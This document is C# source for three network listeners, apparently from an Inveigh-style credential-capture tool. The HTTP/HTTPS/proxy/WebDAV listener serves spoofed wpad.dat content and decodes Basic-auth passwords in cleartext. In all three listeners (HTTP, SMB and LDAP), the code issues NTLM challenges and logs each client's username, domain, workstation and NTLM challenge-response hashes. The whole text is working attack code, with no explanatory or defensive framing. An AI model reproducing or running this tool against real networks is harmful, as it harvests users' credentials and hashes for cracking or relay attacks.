internal void ReceiveClient(object parameters) { object[] parameterArray = parameters as object[]; TcpClient tcpClient = (TcpClient)parameterArray[0]; string type = (string)parameterArray[1]; int port = (int)parameterArray[2]; try { string[] supportedMethods = { "GET", "HEAD", "OPTIONS", "CONNECT", "POST", "PROPFIND" }; string sourceIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); string sourcePort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); string session = sourceIP + ":" + sourcePort; string ntlmChallenge = ""; int ntlmStage = 0; bool proxyIgnoreMatch = false; bool wpadAuthIgnoreMatch = false; NetworkStream tcpStream = null; NetworkStream httpStream = null; SslStream httpsStream = null; X509Certificate2 certificate = null; bool isClientClose = false; if (type.Equals("HTTPS")) { byte[] certificateData = Convert.FromBase64String(Cert); certificate = new X509Certificate2(certificateData, CertPassword, X509KeyStorageFlags.MachineKeySet); tcpStream = tcpClient.GetStream(); httpsStream = new SslStream(tcpStream, false); } else { httpStream = tcpClient.GetStream(); } while (tcpClient.Connected && isRunning) { byte[] requestData = new byte[16384]; if (type.Equals("HTTPS")) { do { Thread.Sleep(100); }while (!tcpStream.DataAvailable && tcpClient.Connected); } else { do { Thread.Sleep(100); // todo check }while (!httpStream.DataAvailable && tcpClient.Connected); } if (String.Equals(type, "HTTPS")) { try { if (!httpsStream.IsAuthenticated) { httpsStream.AuthenticateAsServer(certificate, false, tls12, false); } while (tcpStream.DataAvailable) { httpsStream.Read(requestData, 0, requestData.Length); } } catch (Exception ex) { if (!ex.Message.Contains("A call to SSPI failed, see inner exception.")) // todo check { Console.WriteLine(ex.Message); } } } else { while (httpStream.DataAvailable) { httpStream.Read(requestData, 0, requestData.Length); } } HTTPRequest request = new HTTPRequest(); if (!Utilities.ArrayIsNullOrEmpty(requestData)) { request.ReadBytes(requestData, 0); } if (!string.IsNullOrEmpty(request.Method)) { OutputRequestMethod(type, listenerPort, sourceIP, sourcePort, request.URI, request.Method); } if (!string.IsNullOrEmpty(request.URI)) { OutputHostHeader(type, listenerPort, sourceIP, sourcePort, request.Host); } if (!string.IsNullOrEmpty(request.UserAgent)) { OutputUserAgent(type, listenerPort, sourceIP, sourcePort, request.UserAgent); } if (!string.IsNullOrEmpty(request.Method) && Array.Exists(supportedMethods, element => element == request.Method)) { HTTPResponse response = new HTTPResponse { Version = "HTTP/1.1", StatusCode = "401", ReasonPhrase = "Unauthorized", Connection = "close", Server = "Microsoft-HTTPAPI/2.0", Date = DateTime.Now.ToString("R"), ContentType = "text/html", ContentLength = "0" }; if (!Utilities.ArrayIsNullOrEmpty(IgnoreAgents) && WPADAuth.Equals("NTLM")) { foreach (string agent in IgnoreAgents) { if (request.UserAgent.ToUpper().Contains(agent.ToUpper())) { wpadAuthIgnoreMatch = true; } } if (wpadAuthIgnoreMatch) { OutputIgnore(type, listenerPort, sourceIP, sourcePort, "switching wpad.dat auth to anonymous due to user agent match"); // todo make better } } if (type.Equals("Proxy")) { response.StatusCode = "407"; response.ProxyAuthenticate = "NTLM"; response.WWWAuthenticate = ""; response.Connection = "close"; } else if (EnabledWebDAV && request.Method.Equals("PROPFIND") && WebDAVAuth.StartsWith("NTLM")) { response.WWWAuthenticate = "NTLM"; } else if (EnabledWebDAV && request.Method.Equals("PROPFIND") && WebDAVAuth.Equals("BASIC")) { response.WWWAuthenticate = string.Concat("Basic realm=", HTTPRealm); } else if (!string.Equals(request.URI, "/wpad.dat") && string.Equals(HTTPAuth, "ANONYMOUS") || string.Equals(request.URI, "/wpad.dat") && string.Equals(WPADAuth, "ANONYMOUS") || wpadAuthIgnoreMatch || (EnabledWebDAV && request.Method.Equals("OPTIONS"))) { response.StatusCode = "200"; response.ReasonPhrase = "OK"; } else if ((HTTPAuth.StartsWith("NTLM") && !string.Equals(request.URI, "/wpad.dat")) || (WPADAuth.StartsWith("NTLM") && string.Equals(request.URI, "/wpad.dat"))) { response.WWWAuthenticate = "NTLM"; } else if ((string.Equals(HTTPAuth, "BASIC") && !string.Equals(request.URI, "/wpad.dat")) || (string.Equals(WPADAuth, "BASIC") && string.Equals(request.URI, "/wpad.dat"))) { response.WWWAuthenticate = string.Concat("Basic realm=", HTTPRealm); } if (!string.IsNullOrEmpty(request.Authorization) && (request.Authorization.ToUpper().StartsWith("NTLM ") || request.Authorization.ToUpper().StartsWith("NEGOTIATE ")) || (!string.IsNullOrEmpty(request.ProxyAuthorization)) && request.ProxyAuthorization.ToUpper().StartsWith("NTLM ")) { string authorization = request.Authorization; if (!string.IsNullOrEmpty(request.ProxyAuthorization)) { authorization = request.ProxyAuthorization; } NTLMNegotiate ntlm = new NTLMNegotiate(); ntlm.ReadBytes(Convert.FromBase64String(request.Authorization.Split(' ')[1]), 0); if (ntlm.MessageType == 1) { byte[] timestamp = BitConverter.GetBytes(DateTime.Now.ToFileTime()); NTLMChallenge challenge = new NTLMChallenge(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain); byte[] challengeData = challenge.GetBytes(ComputerName); ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", ""); string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", ""); httpSessionTable[sessionTimestamp] = ntlmChallenge; OutputChallenge(type, listenerPort, sourceIP, sourcePort, ntlmChallenge); if (String.Equals(type, "Proxy")) { response.StatusCode = "407"; response.ProxyAuthenticate = "NTLM " + Convert.ToBase64String(challengeData); } else { if (request.Authorization.ToUpper().StartsWith("NEGOTIATE ")) { response.WWWAuthenticate = "Negotiate " + Convert.ToBase64String(challengeData); } else { response.WWWAuthenticate = "NTLM " + Convert.ToBase64String(challengeData); } } response.Connection = ""; } else if (ntlm.MessageType == 3) { response.StatusCode = "200"; response.ReasonPhrase = "OK"; ntlmStage = 3; isClientClose = true; NTLMResponse ntlmResponse = new NTLMResponse(Convert.FromBase64String(authorization.Split(' ')[1]), false); string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); string user = Encoding.Unicode.GetString(ntlmResponse.UserName); string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); string ntlmResponseHash = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", ""); string lmResponseHash = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", ""); if (string.IsNullOrEmpty(ntlmChallenge)) // NTLMv2 workaround to track sessions over different ports without a cookie { try { byte[] timestamp = new byte[8]; Buffer.BlockCopy(ntlmResponse.NtChallengeResponse, 24, timestamp, 0, 8); string sessionTimestamp = BitConverter.ToString(timestamp).Replace("-", ""); ntlmChallenge = httpSessionTable[sessionTimestamp].ToString(); } catch { ntlmChallenge = ""; } } OutputNTLM(type, listenerPort, sourceIP, sourcePort, user, domain, host, ntlmChallenge, ntlmResponseHash, lmResponseHash); if (type.Equals("Proxy")) { if (!string.IsNullOrEmpty(HTTPResponse)) { response.CacheControl = "no-cache, no-store"; } } } } else if (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC ")) { response.StatusCode = "200"; response.ReasonPhrase = "OK"; string httpHeaderAuthorizationBase64 = request.Authorization.Substring(6, request.Authorization.Length - 6); string cleartextCredentials = Encoding.UTF8.GetString(Convert.FromBase64String(httpHeaderAuthorizationBase64)); OutputCleartext(type, listenerPort, sourceIP, sourcePort, cleartextCredentials); } if (!string.IsNullOrEmpty(WPADResponse) && !proxyIgnoreMatch && string.Equals(request.URI, "/wpad.dat")) { response.ContentType = "application/x-ns-proxy-autoconfig"; response.Message = Encoding.UTF8.GetBytes(WPADResponse); } else if (!string.IsNullOrEmpty(HTTPResponse)) { response.Message = Encoding.UTF8.GetBytes(HTTPResponse); } if (EnabledWebDAV) { if (request.Method.Equals("OPTIONS")) { response.StatusCode = "200"; response.ReasonPhrase = "OK"; response.Allow = "OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, LOCK, UNLOCK"; response.Public = "OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK"; response.DAV = "1,2,3"; response.Author = "DAV"; } else if (request.Method.Equals("PROPFIND")) { DateTime currentTime = DateTime.Now; response.Message = Encoding.UTF8.GetBytes("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\">\r\n<HTML><HEAD><TITLE>Not Authorized</TITLE>\r\n<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=us-ascii\"></HEAD>\r\n<BODY><h2>Not Authorized</h2>\r\n<hr><p>HTTP Error 401. The requested resource requires user authentication.</p>\r\n</BODY></HTML>\r\n"); response.Connection = ""; if (ntlmStage == 3 || (!string.IsNullOrEmpty(request.Authorization) && request.Authorization.ToUpper().StartsWith("BASIC ")) || HTTPAuth.Equals("ANONYMOUS")) { response.Connection = "close"; if (!request.URI.Contains(".")) { response.ContentType = "text/xml"; response.Message = Encoding.UTF8.GetBytes("<?xml version=\"1.0\" encoding=\"utf-8\"?><D:multistatus xmlns:D=\"DAV:\"><D:response><D:href>http://" + sourceIP + request.URI + "</D:href><D:propstat><D:status>HTTP/1.1 200 OK</D:status><D:prop><D:getcontenttype/><D:getlastmodified>" + currentTime.ToString("R") + "</D:getlastmodified><D:lockdiscovery/><D:ishidden>0</D:ishidden><D:supportedlock><D:lockentry><D:lockscope><D:exclusive/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry><D:lockentry><D:lockscope><D:shared/></D:lockscope><D:locktype><D:write/></D:locktype></D:lockentry></D:supportedlock><D:getetag/><D:displayname>webdav</D:displayname><D:getcontentlanguage/><D:getcontentlength>0</D:getcontentlength><D:iscollection>1</D:iscollection><D:creationdate>" + currentTime.ToString("yyyy-MM-ddThh:mm:ss.fffZ") + "</D:creationdate><D:resourcetype><D:collection/></D:resourcetype></D:prop></D:propstat></D:response></D:multistatus>"); } else { response.ContentType = "text/plain"; } } } } byte[] buffer = response.GetBytes(); if (type.Equals("HTTPS") && httpsStream.CanRead) { httpsStream.Write(buffer, 0, buffer.Length); httpsStream.Flush(); } else if (httpStream.CanRead) { httpStream.Write(buffer, 0, buffer.Length); httpStream.Flush(); } if (isClientClose) { if (type.Equals("Proxy")) { tcpClient.Client.Close(); } else { tcpClient.Close(); } } } } } catch (Exception ex) { OutputError(ex, type, port); } }
internal void ReceiveClient(object parameters) { object[] parameterArray = parameters as object[]; Guid serverGuid = (Guid)parameterArray[0]; TcpClient tcpClient = (TcpClient)parameterArray[1]; int port = (int)parameterArray[2]; NetworkStream tcpStream = tcpClient.GetStream(); bool isSMB2; string challenge = ""; string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); try { while (tcpClient.Connected && isRunning) { byte[] requestData = new byte[4096]; do { Thread.Sleep(100); }while (!tcpStream.DataAvailable && tcpClient.Connected); while (tcpStream.DataAvailable) { tcpStream.Read(requestData, 0, requestData.Length); } NetBIOSSessionService requestNetBIOSSessionService = new NetBIOSSessionService(requestData); SMBHelper smbHelper = new SMBHelper(); if (requestNetBIOSSessionService.Type == 0 || smbHelper.Protocol[0] == 0xfe || smbHelper.Protocol[0] == 0xff) { int sessionServiceIndex = 0; if (requestNetBIOSSessionService.Type == 0) { sessionServiceIndex = 4; } byte[] sendBuffer = new byte[0]; SMBHeader requestSMBHeader = new SMBHeader(); SMB2Header requestSMB2Header = new SMB2Header(); smbHelper.ReadBytes(requestData, sessionServiceIndex); if (smbHelper.Protocol[0] == 0xfe) { isSMB2 = true; requestSMB2Header.ReadBytes(requestData, sessionServiceIndex); } else { isSMB2 = false; requestSMBHeader.ReadBytes(requestData, sessionServiceIndex); } if (!isSMB2 && requestSMBHeader.Command == 0x72 || (isSMB2 && requestSMB2Header.Command == 0)) { SMB2NegotiatelRequest smb2NegotiatelRequest = new SMB2NegotiatelRequest(requestData, 64 + sessionServiceIndex); SMB2Header responseSMB2Header = new SMB2Header(); SMB2NegotiateResponse smb2NegotiateResponse = new SMB2NegotiateResponse(); if (!isSMB2) { smb2NegotiateResponse.DialectRivision = new byte[2] { 0xff, 0x02 }; smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 }; OutputNegotiation("SMB1", listenerPort, clientIP, clientPort); } else if (isSMB2) { responseSMB2Header.MessageId = requestSMB2Header.MessageId; if (smb2NegotiatelRequest.GetMaxDialect() == 0x311) { smb2NegotiateResponse.DialectRivision = new byte[2] { 0x11, 0x03 }; smb2NegotiateResponse.NegotiateContextCount = 3; smb2NegotiateResponse.Capabilities = new byte[4] { 0x2f, 0x00, 0x00, 0x00 }; smb2NegotiateResponse.NegotiateContextOffset = 448; smb2NegotiateResponse.NegotiateContextList = new SMB2NegotiateContext().GetBytes(new string[] { "1", "2", "3" }); OutputNegotiation("SMB3", listenerPort, clientIP, clientPort); } else { smb2NegotiateResponse.DialectRivision = new byte[2] { 0x10, 0x02 }; smb2NegotiateResponse.Capabilities = new byte[4] { 0x07, 0x00, 0x00, 0x00 }; OutputNegotiation("SMB2", listenerPort, clientIP, clientPort); } responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; // todo fix } smb2NegotiateResponse.EncodeBuffer(); smb2NegotiateResponse.ServerGUID = serverGuid.ToByteArray(); sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2NegotiateResponse); } else if (isSMB2 && requestSMB2Header.Command > 0) { switch (requestSMB2Header.Command) { case 1: { SMB2SessionSetupRequest smb2SessionSetupRequest = new SMB2SessionSetupRequest(requestData, 64 + sessionServiceIndex); NTLMNegotiate requestNTLMNegotiate = new NTLMNegotiate(smb2SessionSetupRequest.Buffer, true); if (requestNTLMNegotiate.MessageType == 1) { SMB2Header responseSMB2Header = new SMB2Header(); SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(); responseSMB2Header.Status = new byte[4] { 0x16, 0x00, 0x00, 0xc0 }; responseSMB2Header.CreditCharge = 1; responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; responseSMB2Header.Command = 1; responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 }; responseSMB2Header.MessageId = requestSMB2Header.MessageId; responseSMB2Header.SessionId = BitConverter.GetBytes(smb2Session); smb2Session++; smb2SessionSetupResponse.Pack(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain, out byte[] challengeData); sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse); challenge = BitConverter.ToString(challengeData).Replace("-", ""); OutputChallenge(listenerPort, clientIP, clientPort, challenge); } else if (requestNTLMNegotiate.MessageType == 3) { NTLMResponse ntlmResponse = new NTLMResponse(smb2SessionSetupRequest.Buffer, true); string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); string user = Encoding.Unicode.GetString(ntlmResponse.UserName); string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", ""); string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", ""); OutputNTLM("SMB", listenerPort, clientIP, clientPort, user, domain, host, challenge, response, lmResponse); SMB2Header responseSMB2Header = new SMB2Header(); SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(); responseSMB2Header.Status = new byte[4] { 0x6d, 0x00, 0x00, 0xc0 }; //responseSMB2Header.Status = new byte[4] { 0x00, 0x00, 0x00, 0x00 }; //responseSMB2Header.Status = new byte[4] { 0x22, 0x00, 0x00, 0xc0 }; //access denied responseSMB2Header.CreditCharge = 1; responseSMB2Header.Reserved2 = requestSMB2Header.Reserved2; responseSMB2Header.Command = 1; responseSMB2Header.Flags = new byte[4] { 0x11, 0x00, 0x00, 0x00 }; responseSMB2Header.MessageId = requestSMB2Header.MessageId; responseSMB2Header.SessionId = requestSMB2Header.SessionId; smb2SessionSetupResponse.SecurityBufferOffset = 0; sendBuffer = SMB2Helper.GetBytes(new NetBIOSSessionService(), responseSMB2Header, smb2SessionSetupResponse); } } break; } } tcpStream.Write(sendBuffer, 0, sendBuffer.Length); tcpStream.Flush(); } else { tcpClient.Close(); } } } catch (Exception ex) { OutputError(ex, port); } }
internal void ReceiveClient(object parameters) { object[] parameterArray = parameters as object[]; TcpClient tcpClient = (TcpClient)parameterArray[0]; int port = (int)parameterArray[1]; NetworkStream tcpStream = tcpClient.GetStream(); string ntlmChallenge = ""; string clientIP = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Address.ToString(); string clientPort = ((IPEndPoint)(tcpClient.Client.RemoteEndPoint)).Port.ToString(); string listenerPort = ((IPEndPoint)(tcpClient.Client.LocalEndPoint)).Port.ToString(); try { while (tcpClient.Connected && isRunning) { byte[] requestData = new byte[4096]; do { Thread.Sleep(100); }while (!tcpStream.DataAvailable && tcpClient.Connected); while (tcpStream.DataAvailable) { tcpStream.Read(requestData, 0, requestData.Length); } LDAPMessage message = new LDAPMessage(); message.Decode(requestData); LDAPMessage message2 = new LDAPMessage(); message2.MessageID = message.MessageID; byte[] buffer = new byte[0]; OutputConnection(listenerPort, clientIP, clientPort, message.Tag); if (message.Tag == 3) { LDAPMessage message3 = new LDAPMessage(); message3.MessageID = message.MessageID; LDAPSearchRequest searchRequest = new LDAPSearchRequest(); searchRequest.ReadBytes((byte[][])message.ProtocolOp); LDAPSearchResDone resdone = new LDAPSearchResDone(); resdone.ResultCode = 0; LDAPSearchResEntry search = new LDAPSearchResEntry(); if (String.Equals(searchRequest.Attributes[0], "supportedCapabilities")) { LDAPSupportedCapabilities cap = new LDAPSupportedCapabilities(); search.Attributes = cap.Encode(); } else if (String.Equals(searchRequest.Attributes[0], "supportedSASLMechanisms")) { LDAPSupportedSASLMechanisms mech = new LDAPSupportedSASLMechanisms(); search.Attributes = mech.Encode(); } message2.ProtocolOp = search; message3.ProtocolOp = resdone; buffer = Utilities.BlockCopy(message2.Encode(4), message3.Encode(5)); } else if (message.Tag == 0) { LDAPBindRequest bind = new LDAPBindRequest(); bind.ReadBytes((byte[][])message.ProtocolOp); LDAPSaslCredentials sasl = new LDAPSaslCredentials(); sasl.ReadBytes(bind.Authentication); NTLMNegotiate ntlm = new NTLMNegotiate(); ntlm.ReadBytes(sasl.Credentials, 0); if (ntlm.MessageType == 1) { NTLMChallenge challenge = new NTLMChallenge(Challenge, NetbiosDomain, ComputerName, DNSDomain, ComputerName, DNSDomain); byte[] challengeData = challenge.GetBytes(ComputerName); ntlmChallenge = BitConverter.ToString(challenge.ServerChallenge).Replace("-", ""); LDAPBindResponse bindResponse = new LDAPBindResponse { ServerSaslCreds = challengeData }; LDAPMessage bindMessage = new LDAPMessage { MessageID = message.MessageID, ProtocolOp = bindResponse }; buffer = bindMessage.Encode(3); OutputChallenge(listenerPort, clientIP, clientPort, ntlmChallenge); } else if (ntlm.MessageType == 3) { NTLMResponse ntlmResponse = new NTLMResponse(sasl.Credentials, false); string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName); string user = Encoding.Unicode.GetString(ntlmResponse.UserName); string host = Encoding.Unicode.GetString(ntlmResponse.Workstation); string response2 = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", ""); string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", ""); OutputNTLM("LDAP", listenerPort, clientIP, clientPort, user, domain, host, ntlmChallenge, response2, lmResponse); } } tcpStream.Write(buffer, 0, buffer.Length); tcpStream.Flush(); } } catch (Exception ex) { OutputError(ex, port); } }